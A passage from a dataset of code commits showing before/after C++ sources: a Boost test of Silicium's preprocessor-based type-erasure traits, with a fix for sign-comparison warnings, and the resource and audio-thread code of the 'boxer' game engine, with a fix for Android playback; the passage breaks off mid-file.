bool, const))\n\t((size, (0, ()), size_t, const BOOST_NOEXCEPT))\n)\n\nBOOST_AUTO_TEST_CASE(templatized_trait)\n{\n\tauto container = Container<int>::erase(std::vector<int>{});\n\tcontainer.emplace_back(123);\n\t{\n\t\tstd::vector<int> const expected{123};\n\t\tBOOST_CHECK(expected == container.original);\n\t}\n\tcontainer.resize(2);\n\t{\n\t\tstd::vector<int> const expected{123, 0};\n\t\tBOOST_CHECK(expected == container.original);\n\t}\n\tcontainer.resize(3, 7);\n\t{\n\t\tstd::vector<int> const expected{123, 0, 7};\n\t\tBOOST_CHECK(expected == container.original);\n\t}\n}\n\nBOOST_AUTO_TEST_CASE(trait_const_method)\n{\n\tauto container = Container<int>::erase(std::vector<int>{});\n\tauto const &const_ref = container;\n\tBOOST_CHECK(const_ref.empty());\n\tcontainer.original.resize(1);\n\tBOOST_CHECK(!const_ref.empty());\n}\n\n#if SILICIUM_COMPILER_HAS_WORKING_NOEXCEPT\nBOOST_AUTO_TEST_CASE(trait_noexcept_method)\n{\n\tauto container = Container<int>::erase(std::vector<int>{});\n\tauto const &const_ref = container;\n\tBOOST_CHECK_EQUAL(0, const_ref.size());\n\tcontainer.original.resize(3);\n\tBOOST_CHECK_EQUAL(3, const_ref.size());\n\tBOOST_STATIC_ASSERT(BOOST_NOEXCEPT_EXPR(const_ref.size()));\n}\n#endif\n\nBOOST_AUTO_TEST_CASE(trait_box)\n{\n\t\/\/default constructor is available:\n\tContainer<int>::box container;\n\n\t{\n\t\t\/\/move construction is available:\n\t\tContainer<int>::box container2 = Container<int>::make_box(std::vector<int>{});\n\n\t\t\/\/move assignment is available:\n\t\tcontainer = std::move(container2);\n\n\t\tBOOST_REQUIRE(container.original);\n\t\tBOOST_CHECK(!container2.original);\n\t}\n\n\tcontainer.emplace_back(3);\n\tBOOST_CHECK(!container.empty());\n\tBOOST_CHECK_EQUAL(1u, container.size());\n}\n\nBOOST_AUTO_TEST_CASE(trait_eraser)\n{\n\t\/\/default constructor is available:\n\tContainer<int>::eraser<std::vector<int>> container;\n\n\t{\n\t\t\/\/move construction is available:\n\t\tContainer<int>::eraser<std::vector<int>> container2 = Container<int>::erase(std::vector<int>{1, 2, 3});\n\n\t\tBOOST_CHECK_EQUAL(0, container.original.size());\n\t\tBOOST_CHECK_EQUAL(3, container2.original.size());\n\n\t\t\/\/move assignment is available:\n\t\tcontainer = std::move(container2);\n\n\t\tBOOST_CHECK_EQUAL(3, container.original.size());\n\t\tBOOST_CHECK_EQUAL(0, container2.original.size());\n\t}\n\n\tcontainer.emplace_back(4);\n\tBOOST_CHECK(!container.empty());\n\tBOOST_CHECK_EQUAL(4, container.size());\n}\n\ntemplate <class Signature>\nstruct Callable;\n\ntemplate <class Result, class A0>\nSILICIUM_SPECIALIZED_TRAIT(\n\tCallable,\n\t<Result(A0)>,\n\t((operator(), (1, (A0)), Result))\n)\n\nBOOST_AUTO_TEST_CASE(trait_specialization)\n{\n\tauto add_two = Callable<int(int)>::make_box([](int a) { return a + 2; });\n\tBOOST_CHECK_EQUAL(3, add_two(1));\n}\n<commit_msg>fix sign comparison warnings<commit_after>#include <boost\/preprocessor.hpp>\n#include <boost\/test\/unit_test.hpp>\n#include <boost\/preprocessor\/seq\/for_each.hpp>\n#include <boost\/preprocessor\/tuple\/elem.hpp>\n#include <boost\/preprocessor\/tuple\/to_seq.hpp>\n#include <boost\/preprocessor\/control\/if.hpp>\n#include <boost\/preprocessor\/repetition\/repeat_from_to.hpp>\n#include <silicium\/to_unique.hpp>\n\n#if SILICIUM_COMPILER_GENERATES_MOVES\n#\tdefine SILICIUM_MOVABLE_MEMBER(struct_name, member_name) \\\n\tstruct_name() = default; \\\n\tSILICIUM_DEFAULT_MOVE(struct_name)\n#else\n#\tdefine SILICIUM_MOVABLE_MEMBER(struct_name, member_name) \\\n\tstruct_name() : member_name() BOOST_NOEXCEPT {} \\\n\tstruct_name(struct_name &&other) BOOST_NOEXCEPT : member_name(std::move(other.member_name)) {} \\\n\tstruct_name &operator = (struct_name &&other) BOOST_NOEXCEPT { member_name = std::move(other.member_name); return *this; }\n#endif\n\n#define SILICIUM_DETAIL_MAKE_PARAMETER(z, n, array) BOOST_PP_COMMA_IF(n) BOOST_PP_ARRAY_ELEM(n, array) BOOST_PP_CAT(arg, n)\n#define SILICIUM_DETAIL_MAKE_PARAMETERS(array) ( BOOST_PP_REPEAT(BOOST_PP_ARRAY_SIZE(array), SILICIUM_DETAIL_MAKE_PARAMETER, array) )\n\n#define SILICIUM_DETAIL_MAKE_PURE_VIRTUAL_METHOD(r, data, elem) \\\n\tvirtual \\\n\tBOOST_PP_TUPLE_ELEM(4, 2, elem) \\\n\tBOOST_PP_TUPLE_ELEM(4, 0, elem) \\\n\tSILICIUM_DETAIL_MAKE_PARAMETERS(BOOST_PP_TUPLE_ELEM(4, 1, elem)) \\\n\tBOOST_PP_TUPLE_ELEM(4, 3, elem) \\\n\t= 0;\n\n#define SILICIUM_DETAIL_MAKE_INTERFACE(name, methods) struct name { \\\n\tvirtual ~name() {} \\\n\tBOOST_PP_SEQ_FOR_EACH(SILICIUM_DETAIL_MAKE_PURE_VIRTUAL_METHOD, _, methods) \\\n};\n\n#define SILICIUM_DETAIL_ERASER_METHOD_ARGUMENT(z, n, text) , BOOST_PP_CAT(_, n)\n\n#define SILICIUM_DETAIL_MAKE_ERASER_METHOD(r, data, elem) \\\n\tvirtual \\\n\tBOOST_PP_TUPLE_ELEM(4, 2, elem) \\\n\tBOOST_PP_TUPLE_ELEM(4, 0, elem) \\\n\tSILICIUM_DETAIL_MAKE_PARAMETERS(BOOST_PP_TUPLE_ELEM(4, 1, elem)) \\\n\tBOOST_PP_TUPLE_ELEM(4, 3, elem) \\\n\tSILICIUM_OVERRIDE { \\\n\t\treturn original. BOOST_PP_TUPLE_ELEM(4, 0, elem) ( \\\n\t\t\tBOOST_PP_ENUM_PARAMS(BOOST_PP_ARRAY_SIZE(BOOST_PP_TUPLE_ELEM(4, 1, elem)), arg) \\\n\t\t); \\\n\t}\n\n#define SILICIUM_DETAIL_MAKE_BOX_METHOD(r, data, elem) \\\n\tBOOST_PP_TUPLE_ELEM(4, 2, elem) \\\n\tBOOST_PP_TUPLE_ELEM(4, 0, elem) \\\n\tSILICIUM_DETAIL_MAKE_PARAMETERS(BOOST_PP_TUPLE_ELEM(4, 1, elem)) \\\n\tBOOST_PP_TUPLE_ELEM(4, 3, elem) { \\\n\t\tassert(original); \\\n\t\treturn original -> BOOST_PP_TUPLE_ELEM(4, 0, elem) ( \\\n\t\t\tBOOST_PP_ENUM_PARAMS(BOOST_PP_ARRAY_SIZE(BOOST_PP_TUPLE_ELEM(4, 1, elem)), arg) \\\n\t\t); \\\n\t}\n\n#define SILICIUM_DETAIL_MAKE_ERASER(name, methods) template <class Original> struct name : interface { \\\n\tOriginal original; \\\n\tSILICIUM_MOVABLE_MEMBER(name, original) \\\n\texplicit name(Original original) : original(std::move(original)) {} \\\n\tBOOST_PP_SEQ_FOR_EACH(SILICIUM_DETAIL_MAKE_ERASER_METHOD, _, methods) \\\n};\n\n#define SILICIUM_DETAIL_MAKE_BOX(name, methods) struct box { \\\n\tstd::unique_ptr<interface> original; \\\n\tSILICIUM_MOVABLE_MEMBER(name, original) \\\n\texplicit name(std::unique_ptr<interface> original) BOOST_NOEXCEPT : original(std::move(original)) {} \\\n\tBOOST_PP_SEQ_FOR_EACH(SILICIUM_DETAIL_MAKE_BOX_METHOD, _, methods) \\\n};\n\n#define SILICIUM_SPECIALIZED_TRAIT(name, specialization, methods) struct name specialization { \\\n\tSILICIUM_DETAIL_MAKE_INTERFACE(interface, methods) \\\n\tSILICIUM_DETAIL_MAKE_ERASER(eraser, methods) \\\n\tSILICIUM_DETAIL_MAKE_BOX(box, methods) \\\n\ttemplate <class Original> \\\n\tstatic eraser<typename std::decay<Original>::type> erase(Original &&original) { \\\n\t\treturn eraser<typename std::decay<Original>::type>{std::forward<Original>(original)}; \\\n\t} \\\n\ttemplate <class Original> \\\n\tstatic box make_box(Original &&original) { \\\n\t\treturn box{Si::to_unique(erase(std::forward<Original>(original)))}; \\\n\t} \\\n};\n\n#define SILICIUM_TRAIT(name, methods) SILICIUM_SPECIALIZED_TRAIT(name, , methods)\n\ntypedef long element;\n\nSILICIUM_TRAIT(\n\tProducer,\n\t((get, (0, ()), element))\n)\n\nstruct test_producer\n{\n\telement get()\n\t{\n\t\treturn 42;\n\t}\n};\n\nBOOST_AUTO_TEST_CASE(trivial_trait)\n{\n\tstd::unique_ptr<Producer::interface> p = Si::to_unique(Producer::erase(test_producer{}));\n\tBOOST_REQUIRE(p);\n\tBOOST_CHECK_EQUAL(42, p->get());\n}\n\ntemplate <class T>\nSILICIUM_TRAIT(\n\tContainer,\n\t((emplace_back, (1, (T)), void))\n\t((resize, (1, (size_t)), void))\n\t((resize, (2, (size_t, T const &)), void))\n\t((empty, (0, ()), bool, const))\n\t((size, (0, ()), size_t, const BOOST_NOEXCEPT))\n)\n\nBOOST_AUTO_TEST_CASE(templatized_trait)\n{\n\tauto container = Container<int>::erase(std::vector<int>{});\n\tcontainer.emplace_back(123);\n\t{\n\t\tstd::vector<int> const expected{123};\n\t\tBOOST_CHECK(expected == container.original);\n\t}\n\tcontainer.resize(2);\n\t{\n\t\tstd::vector<int> const expected{123, 0};\n\t\tBOOST_CHECK(expected == container.original);\n\t}\n\tcontainer.resize(3, 7);\n\t{\n\t\tstd::vector<int> const expected{123, 0, 7};\n\t\tBOOST_CHECK(expected == container.original);\n\t}\n}\n\nBOOST_AUTO_TEST_CASE(trait_const_method)\n{\n\tauto container = Container<int>::erase(std::vector<int>{});\n\tauto const &const_ref = container;\n\tBOOST_CHECK(const_ref.empty());\n\tcontainer.original.resize(1);\n\tBOOST_CHECK(!const_ref.empty());\n}\n\n#if SILICIUM_COMPILER_HAS_WORKING_NOEXCEPT\nBOOST_AUTO_TEST_CASE(trait_noexcept_method)\n{\n\tauto container = Container<int>::erase(std::vector<int>{});\n\tauto const &const_ref = container;\n\tBOOST_CHECK_EQUAL(0, const_ref.size());\n\tcontainer.original.resize(3);\n\tBOOST_CHECK_EQUAL(3, const_ref.size());\n\tBOOST_STATIC_ASSERT(BOOST_NOEXCEPT_EXPR(const_ref.size()));\n}\n#endif\n\nBOOST_AUTO_TEST_CASE(trait_box)\n{\n\t\/\/default constructor is available:\n\tContainer<int>::box container;\n\n\t{\n\t\t\/\/move construction is available:\n\t\tContainer<int>::box container2 = Container<int>::make_box(std::vector<int>{});\n\n\t\t\/\/move assignment is available:\n\t\tcontainer = std::move(container2);\n\n\t\tBOOST_REQUIRE(container.original);\n\t\tBOOST_CHECK(!container2.original);\n\t}\n\n\tcontainer.emplace_back(3);\n\tBOOST_CHECK(!container.empty());\n\tBOOST_CHECK_EQUAL(1u, container.size());\n}\n\nBOOST_AUTO_TEST_CASE(trait_eraser)\n{\n\t\/\/default constructor is available:\n\tContainer<int>::eraser<std::vector<int>> container;\n\n\t{\n\t\t\/\/move construction is available:\n\t\tContainer<int>::eraser<std::vector<int>> container2 = Container<int>::erase(std::vector<int>{1, 2, 3});\n\n\t\tBOOST_CHECK_EQUAL(0u, container.original.size());\n\t\tBOOST_CHECK_EQUAL(3u, container2.original.size());\n\n\t\t\/\/move assignment is available:\n\t\tcontainer = std::move(container2);\n\n\t\tBOOST_CHECK_EQUAL(3u, container.original.size());\n\t\tBOOST_CHECK_EQUAL(0u, container2.original.size());\n\t}\n\n\tcontainer.emplace_back(4);\n\tBOOST_CHECK(!container.empty());\n\tBOOST_CHECK_EQUAL(4u, container.size());\n}\n\ntemplate <class Signature>\nstruct Callable;\n\ntemplate <class Result, class A0>\nSILICIUM_SPECIALIZED_TRAIT(\n\tCallable,\n\t<Result(A0)>,\n\t((operator(), (1, (A0)), Result))\n)\n\nBOOST_AUTO_TEST_CASE(trait_specialization)\n{\n\tauto add_two = Callable<int(int)>::make_box([](int a) { return a + 2; });\n\tBOOST_CHECK_EQUAL(3, add_two(1));\n}\n<|endoftext|>"} {"text":"<commit_before>#include <map>\n#include <stdio.h>\n#include <string.h>\n#include <assert.h>\n#include <stdlib.h>\n#include <unistd.h>\n\n#include \"boxer.h\"\n#include \"stage.h\"\n\n#ifdef __ANDROID__\n#include \"jni.h\"\n#include <android\/log.h>\n#else\n#include <pulse\/simple.h>\n#endif\n\nextern int32_t _BOXER_FILES_SIZE;\nextern char* _BOXER_FILES[];\n\nint32_t cachedArgc = 0;\nchar argvStorage[1024];\nchar* cachedArgv[64];\n\nnamespace boxer\n{\n\nenum error: int32_t\n{\n SUCCESS,\n FAILURE\n};\n\nstage* gStage = NULL;\nint32_t gFrameDelay = 0;\nstd::map<int32_t, uint8_t*> gResourceMap;\n\nstruct audioParam\n{\n int32_t id;\n int32_t delay;\n bool keepGoing;\n};\n\npthread_mutex_t jAudioMutex;\naudioParam* jAudioParam = NULL;\n\n#define MAX_AUDIO_THREADS 16\npthread_t gAudioThread[MAX_AUDIO_THREADS];\naudioParam gAudioThreadParam[MAX_AUDIO_THREADS];\nint32_t gAudioThreadIndex = 0;\n\nint32_t getArgc()\n{\n return cachedArgc;\n}\n\nchar** getArgv()\n{\n return cachedArgv;\n}\n\nint32_t getFrameDelay()\n{\n return gFrameDelay;\n}\n\nvoid setFrameDelay(int32_t ms)\n{\n gFrameDelay = ms;\n}\n\nconst uint8_t* getResource(int32_t id)\n{\n auto found = gResourceMap.find(id);\n return found == gResourceMap.end() ? NULL: gResourceMap.find(id)->second;\n}\n\nvoid setStage(int32_t id)\n{\n if(gStage != NULL)\n {\n gStage->~stage();\n free(gStage);\n }\n\n gStage = (stage*)malloc(sizeof(stage));\n gStage->init(id);\n}\n\nint32_t blockResource(int32_t id, int32_t x, int32_t y)\n{\n int32_t code = FAILURE;\n\n if(gStage == NULL || (x > gStage->getWidth()) || (y > gStage->getHeight()))\n return code;\n\n const boxer::bmpStat* stat = (const boxer::bmpStat*)boxer::getResource(id);\n assert(stat != NULL);\n assert(stat->colorPlanes == 1);\n assert(stat->compression == 3); \/\/BI_BITFIELDS\n\n if((x+stat->width) <= gStage->getWidth() && (y+stat->height) <= gStage->getHeight())\n {\n gStage->draw(boxer::getResource(id), x, y);\n code = SUCCESS;\n }\n\n return code;\n}\n\nvoid showStage()\n{\n if(gStage != NULL)\n {\n gStage->show();\n }\n usleep(gFrameDelay*1000);\n}\n\n#define WAV_HEADER_SIZE 44\n#ifdef __ANDROID__\n#define AUDIO_BUFFER_SIZE 2048\n#else\n#define AUDIO_BUFFER_SIZE 1024\n#endif\nvoid* audioResourceThread(void* param)\n{\n audioParam* desc = (audioParam*)param;\n while(true)\n {\n#ifdef __ANDROID__\n pthread_mutex_lock(&jAudioMutex);\n while(jAudioParam != NULL && desc->keepGoing)\n {\n pthread_mutex_unlock(&jAudioMutex);\n sched_yield();\n pthread_mutex_lock(&jAudioMutex);\n }\n audioParam* jParam = new audioParam();\n jParam->id = desc->id;\n jParam->keepGoing = desc->keepGoing;\n jAudioParam = jParam;\n pthread_mutex_unlock(&jAudioMutex);\n while(jAudioParam != NULL && desc->keepGoing)\n {\n sched_yield();\n }\n#else\n const boxer::wavStat* stat = (const boxer::wavStat*)boxer::getResource(desc->id);\n const uint8_t* data = (const uint8_t*)(boxer::getResource(desc->id) + WAV_HEADER_SIZE);\n static const pa_sample_spec spec = { .format = PA_SAMPLE_S16LE, .rate = 44100, .channels = 2 };\n pa_simple* stream = pa_simple_new(NULL, NULL, PA_STREAM_PLAYBACK, NULL, \"boxer_track\", &spec, NULL, NULL, NULL);\n if(stream != NULL)\n {\n int32_t i = 0;\n while((i+AUDIO_BUFFER_SIZE < stat->size) && desc->keepGoing)\n {\n if(pa_simple_write(stream, &data[i], AUDIO_BUFFER_SIZE, NULL) < 0)\n {\n break;\n }\n i+=AUDIO_BUFFER_SIZE;\n }\n pa_simple_drain(stream, NULL);\n pa_simple_free(stream);\n }\n#endif\n\n if(desc->keepGoing == false || desc->delay == -1)\n break;\n\n usleep(desc->delay*1000);\n }\n\n return NULL;\n}\n\nvoid startAudioResource(int32_t id, int32_t delay)\n{\n waitAudioResource(id);\n gAudioThreadParam[gAudioThreadIndex].id = id;\n gAudioThreadParam[gAudioThreadIndex].delay = delay;\n gAudioThreadParam[gAudioThreadIndex].keepGoing = true;\n pthread_create(&gAudioThread[gAudioThreadIndex], NULL, audioResourceThread, &gAudioThreadParam[gAudioThreadIndex]);\n if(++gAudioThreadIndex == MAX_AUDIO_THREADS)\n {\n gAudioThreadIndex = 0;\n }\n}\n\nvoid stopAudioResource(int32_t id)\n{\n int32_t i = MAX_AUDIO_THREADS;\n while(i--)\n {\n if(gAudioThreadParam[i].id == id)\n {\n gAudioThreadParam[i].keepGoing = false;\n pthread_mutex_lock(&jAudioMutex);\n if(jAudioParam != NULL && jAudioParam->id == id)\n {\n jAudioParam->keepGoing = false;\n }\n pthread_mutex_unlock(&jAudioMutex);\n waitAudioResource(id);\n break;\n }\n }\n}\n\nvoid waitAudioResource(int32_t id)\n{\n int32_t i = MAX_AUDIO_THREADS;\n while(i--)\n {\n if(gAudioThreadParam[i].id == id)\n {\n pthread_join(gAudioThread[i], NULL);\n break;\n }\n }\n}\n\nstruct _BUILDER\n{\n _BUILDER()\n {\n pthread_mutex_init(&jAudioMutex, NULL);\n }\n ~_BUILDER()\n {\n int32_t count = 0;\n char buffer[PATH_MAX];\n while(count < _BOXER_FILES_SIZE)\n {\n free(gResourceMap.find(count++)->second);\n }\n if(gStage != NULL)\n {\n gStage->~stage();\n free(gStage);\n }\n }\n\n};\n\nstatic _BUILDER resourceBuilder;\n\n}\n\nvoid preload(const char* path)\n{\n int32_t delay = 0;\n#ifdef __ANDROID__\n delay = 48; \/\/Empirical, but could be derived by checking CPU usage is less than max output of 2 threads\n#else\n delay = 1000;\n#endif\n\n boxer::setFrameDelay(delay);\n\n int32_t count = 0;\n char buffer[PATH_MAX];\n while(count < _BOXER_FILES_SIZE)\n {\n memset(buffer, '\\0', PATH_MAX);\n memcpy(buffer, path, strlen(path));\n strcat(buffer, _BOXER_FILES[count]);\n FILE* temp = fopen(buffer, \"r\");\n if(temp)\n {\n fseek(temp, 0, SEEK_END);\n int32_t size = ftell(temp);\n rewind(temp);\n uint8_t* binary = (uint8_t*)malloc(size);\n size_t read = fread(binary, 1, size, temp);\n assert(read == size);\n boxer::gResourceMap.insert(std::pair<int32_t, uint8_t*>(count, binary));\n fclose(temp);\n }\n count++;\n }\n}\n\nint32_t main(int32_t argc, char** argv)\n{\n cachedArgc = argc;\n char* storagePointer = argvStorage;\n while(argc--)\n {\n cachedArgv[argc] = storagePointer;\n int32_t length = strlen(argv[argc]);\n strcat(storagePointer, argv[argc]);\n storagePointer+=(length+1);\n }\n\n char buffer[PATH_MAX];\n memset(buffer, '\\0', PATH_MAX);\n char* finalSlash = strrchr(cachedArgv[0], '\/');\n memcpy(buffer, cachedArgv[0], (finalSlash - cachedArgv[0]) + 1);\n preload(buffer);\n boxerMain();\n\n return 0;\n}\n\n#ifdef __ANDROID__\nJavaVM* jVM = NULL;\njclass jBoxerEngine = NULL;\njmethodID jShowStage = NULL;\nchar androidData[PATH_MAX];\n\nJNIEXPORT jint JNICALL JNI_OnLoad(JavaVM* vm, void* reserved)\n{\n jVM = vm;\n JNIEnv* env;\n if(vm->GetEnv((void**)&env, JNI_VERSION_1_6) != JNI_OK)\n {\n return -1;\n }\n\n return JNI_VERSION_1_6;\n}\n\nextern \"C\" JNIEXPORT void JNICALL Java_org_starlo_boxer_BoxerEngine_preload(JNIEnv* env, jobject obj, jstring pathString)\n{\n const char* path = env->GetStringUTFChars(pathString, NULL);\n\n preload(path);\n\n memset(androidData, '\\0', PATH_MAX);\n char* finalSlash = strrchr(path, '\/');\n memcpy(androidData, path, (finalSlash - path) + 1);\n\n env->ReleaseStringUTFChars(pathString, path);\n}\n\nextern \"C\" JNIEXPORT void JNICALL Java_org_starlo_boxer_BoxerEngine_boxerMain(JNIEnv* env, jobject obj)\n{\n jBoxerEngine = env->FindClass(\"org\/starlo\/boxer\/BoxerEngine\");\n jShowStage = env->GetStaticMethodID(jBoxerEngine, \"showStage\", \"(Ljava\/lang\/String;)V\");\n boxerMain();\n}\n\nextern \"C\" JNIEXPORT void JNICALL Java_org_starlo_boxer_BoxerEngine_audioResourceThread(JNIEnv* env, jobject obj)\n{\n jclass engine = env->FindClass(\"org\/starlo\/boxer\/BoxerEngine\");\n jmethodID audioWrite = env->GetStaticMethodID(engine, \"audioWrite\", \"([S)V\");\n while(true)\n {\n if(boxer::jAudioParam != NULL)\n {\n int32_t i = 0;\n const boxer::wavStat* stat = (const boxer::wavStat*)boxer::getResource(boxer::jAudioParam->id);\n const uint8_t* data = (const uint8_t*)(boxer::getResource(boxer::jAudioParam->id) + WAV_HEADER_SIZE);\n jshortArray jData = env->NewShortArray(AUDIO_BUFFER_SIZE);\n while(i+AUDIO_BUFFER_SIZE < stat->size && boxer::jAudioParam->keepGoing)\n {\n env->SetShortArrayRegion(jData, 0, AUDIO_BUFFER_SIZE, (const short*)&data[i]);\n env->CallStaticVoidMethod(engine, audioWrite, jData);\n i+=AUDIO_BUFFER_SIZE;\n }\n env->DeleteLocalRef(jData);\n pthread_mutex_lock(&boxer::jAudioMutex);\n delete boxer::jAudioParam;\n boxer::jAudioParam = NULL;\n pthread_mutex_unlock(&boxer::jAudioMutex);\n }\n sched_yield();\n }\n}\n\n#endif\n<commit_msg>Fix playback issue on Android<commit_after>#include <map>\n#include <stdio.h>\n#include <string.h>\n#include <assert.h>\n#include <stdlib.h>\n#include <unistd.h>\n\n#include \"boxer.h\"\n#include \"stage.h\"\n\n#ifdef __ANDROID__\n#include \"jni.h\"\n#include <android\/log.h>\n#else\n#include <pulse\/simple.h>\n#endif\n\nextern int32_t _BOXER_FILES_SIZE;\nextern char* _BOXER_FILES[];\n\nint32_t cachedArgc = 0;\nchar argvStorage[1024];\nchar* cachedArgv[64];\n\nnamespace boxer\n{\n\nenum error: int32_t\n{\n SUCCESS,\n FAILURE\n};\n\nstage* gStage = NULL;\nint32_t gFrameDelay = 0;\nstd::map<int32_t, uint8_t*> gResourceMap;\n\nstruct audioParam\n{\n int32_t id;\n int32_t delay;\n bool keepGoing;\n};\n\npthread_mutex_t jAudioMutex;\naudioParam* jAudioParam = NULL;\n\n#define MAX_AUDIO_THREADS 16\npthread_t gAudioThread[MAX_AUDIO_THREADS];\naudioParam gAudioThreadParam[MAX_AUDIO_THREADS];\nint32_t gAudioThreadIndex = 0;\n\nint32_t getArgc()\n{\n return cachedArgc;\n}\n\nchar** getArgv()\n{\n return cachedArgv;\n}\n\nint32_t getFrameDelay()\n{\n return gFrameDelay;\n}\n\nvoid setFrameDelay(int32_t ms)\n{\n gFrameDelay = ms;\n}\n\nconst uint8_t* getResource(int32_t id)\n{\n auto found = gResourceMap.find(id);\n return found == gResourceMap.end() ? NULL: gResourceMap.find(id)->second;\n}\n\nvoid setStage(int32_t id)\n{\n if(gStage != NULL)\n {\n gStage->~stage();\n free(gStage);\n }\n\n gStage = (stage*)malloc(sizeof(stage));\n gStage->init(id);\n}\n\nint32_t blockResource(int32_t id, int32_t x, int32_t y)\n{\n int32_t code = FAILURE;\n\n if(gStage == NULL || (x > gStage->getWidth()) || (y > gStage->getHeight()))\n return code;\n\n const boxer::bmpStat* stat = (const boxer::bmpStat*)boxer::getResource(id);\n assert(stat != NULL);\n assert(stat->colorPlanes == 1);\n assert(stat->compression == 3); \/\/BI_BITFIELDS\n\n if((x+stat->width) <= gStage->getWidth() && (y+stat->height) <= gStage->getHeight())\n {\n gStage->draw(boxer::getResource(id), x, y);\n code = SUCCESS;\n }\n\n return code;\n}\n\nvoid showStage()\n{\n if(gStage != NULL)\n {\n gStage->show();\n }\n usleep(gFrameDelay*1000);\n}\n\n#define WAV_HEADER_SIZE 44\n#define AUDIO_BUFFER_SIZE 1024\nvoid* audioResourceThread(void* param)\n{\n audioParam* desc = (audioParam*)param;\n while(true)\n {\n#ifdef __ANDROID__\n pthread_mutex_lock(&jAudioMutex);\n while(jAudioParam != NULL && desc->keepGoing)\n {\n pthread_mutex_unlock(&jAudioMutex);\n sched_yield();\n pthread_mutex_lock(&jAudioMutex);\n }\n audioParam* jParam = new audioParam();\n jParam->id = desc->id;\n jParam->keepGoing = desc->keepGoing;\n jAudioParam = jParam;\n pthread_mutex_unlock(&jAudioMutex);\n while(jAudioParam != NULL && desc->keepGoing)\n {\n sched_yield();\n }\n#else\n const boxer::wavStat* stat = (const boxer::wavStat*)boxer::getResource(desc->id);\n const uint8_t* data = (const uint8_t*)(boxer::getResource(desc->id) + WAV_HEADER_SIZE);\n static const pa_sample_spec spec = { .format = PA_SAMPLE_S16LE, .rate = 44100, .channels = 2 };\n pa_simple* stream = pa_simple_new(NULL, NULL, PA_STREAM_PLAYBACK, NULL, \"boxer_track\", &spec, NULL, NULL, NULL);\n if(stream != NULL)\n {\n int32_t i = 0;\n while((i+AUDIO_BUFFER_SIZE < stat->size) && desc->keepGoing)\n {\n if(pa_simple_write(stream, &data[i], AUDIO_BUFFER_SIZE, NULL) < 0)\n {\n break;\n }\n i+=AUDIO_BUFFER_SIZE;\n }\n pa_simple_drain(stream, NULL);\n pa_simple_free(stream);\n }\n#endif\n\n if(desc->keepGoing == false || desc->delay == -1)\n break;\n\n usleep(desc->delay*1000);\n }\n\n return NULL;\n}\n\nvoid startAudioResource(int32_t id, int32_t delay)\n{\n waitAudioResource(id);\n gAudioThreadParam[gAudioThreadIndex].id = id;\n gAudioThreadParam[gAudioThreadIndex].delay = delay;\n gAudioThreadParam[gAudioThreadIndex].keepGoing = true;\n pthread_create(&gAudioThread[gAudioThreadIndex], NULL, audioResourceThread, &gAudioThreadParam[gAudioThreadIndex]);\n if(++gAudioThreadIndex == MAX_AUDIO_THREADS)\n {\n gAudioThreadIndex = 0;\n }\n}\n\nvoid stopAudioResource(int32_t id)\n{\n int32_t i = MAX_AUDIO_THREADS;\n while(i--)\n {\n if(gAudioThreadParam[i].id == id)\n {\n gAudioThreadParam[i].keepGoing = false;\n pthread_mutex_lock(&jAudioMutex);\n if(jAudioParam != NULL && jAudioParam->id == id)\n {\n jAudioParam->keepGoing = false;\n }\n pthread_mutex_unlock(&jAudioMutex);\n waitAudioResource(id);\n break;\n }\n }\n}\n\nvoid waitAudioResource(int32_t id)\n{\n int32_t i = MAX_AUDIO_THREADS;\n while(i--)\n {\n if(gAudioThreadParam[i].id == id)\n {\n pthread_join(gAudioThread[i], NULL);\n break;\n }\n }\n}\n\nstruct _BUILDER\n{\n _BUILDER()\n {\n pthread_mutex_init(&jAudioMutex, NULL);\n }\n ~_BUILDER()\n {\n int32_t count = 0;\n char buffer[PATH_MAX];\n while(count < _BOXER_FILES_SIZE)\n {\n free(gResourceMap.find(count++)->second);\n }\n if(gStage != NULL)\n {\n gStage->~stage();\n free(gStage);\n }\n }\n\n};\n\nstatic _BUILDER resourceBuilder;\n\n}\n\nvoid preload(const char* path)\n{\n int32_t delay = 0;\n#ifdef __ANDROID__\n delay = 48; \/\/Empirical, but could be derived by checking CPU usage is less than max output of 2 threads\n#else\n delay = 1000;\n#endif\n\n boxer::setFrameDelay(delay);\n\n int32_t count = 0;\n char buffer[PATH_MAX];\n while(count < _BOXER_FILES_SIZE)\n {\n memset(buffer, '\\0', PATH_MAX);\n memcpy(buffer, path, strlen(path));\n strcat(buffer, _BOXER_FILES[count]);\n FILE* temp = fopen(buffer, \"r\");\n if(temp)\n {\n fseek(temp, 0, SEEK_END);\n int32_t size = ftell(temp);\n rewind(temp);\n uint8_t* binary = (uint8_t*)malloc(size);\n size_t read = fread(binary, 1, size, temp);\n assert(read == size);\n boxer::gResourceMap.insert(std::pair<int32_t, uint8_t*>(count, binary));\n fclose(temp);\n }\n count++;\n }\n}\n\nint32_t main(int32_t argc, char** argv)\n{\n cachedArgc = argc;\n char* storagePointer = argvStorage;\n while(argc--)\n {\n cachedArgv[argc] = storagePointer;\n int32_t length = strlen(argv[argc]);\n strcat(storagePointer, argv[argc]);\n storagePointer+=(length+1);\n }\n\n char buffer[PATH_MAX];\n memset(buffer, '\\0', PATH_MAX);\n char* finalSlash = strrchr(cachedArgv[0], '\/');\n memcpy(buffer, cachedArgv[0], (finalSlash - cachedArgv[0]) + 1);\n preload(buffer);\n boxerMain();\n\n return 0;\n}\n\n#ifdef __ANDROID__\nJavaVM* jVM = NULL;\njclass jBoxerEngine = NULL;\njmethodID jShowStage = NULL;\nchar androidData[PATH_MAX];\n\nJNIEXPORT jint JNICALL JNI_OnLoad(JavaVM* vm, void* reserved)\n{\n jVM = vm;\n JNIEnv* env;\n if(vm->GetEnv((void**)&env, JNI_VERSION_1_6) != JNI_OK)\n {\n return -1;\n }\n\n return JNI_VERSION_1_6;\n}\n\nextern \"C\" JNIEXPORT void JNICALL Java_org_starlo_boxer_BoxerEngine_preload(JNIEnv* env, jobject obj, jstring pathString)\n{\n const char* path = env->GetStringUTFChars(pathString, NULL);\n\n preload(path);\n\n memset(androidData, '\\0', PATH_MAX);\n char* finalSlash = strrchr(path, '\/');\n memcpy(androidData, path, (finalSlash - path) + 1);\n\n env->ReleaseStringUTFChars(pathString, path);\n}\n\nextern \"C\" JNIEXPORT void JNICALL Java_org_starlo_boxer_BoxerEngine_boxerMain(JNIEnv* env, jobject obj)\n{\n jBoxerEngine = env->FindClass(\"org\/starlo\/boxer\/BoxerEngine\");\n jShowStage = env->GetStaticMethodID(jBoxerEngine, \"showStage\", \"(Ljava\/lang\/String;)V\");\n boxerMain();\n}\n\nextern \"C\" JNIEXPORT void JNICALL 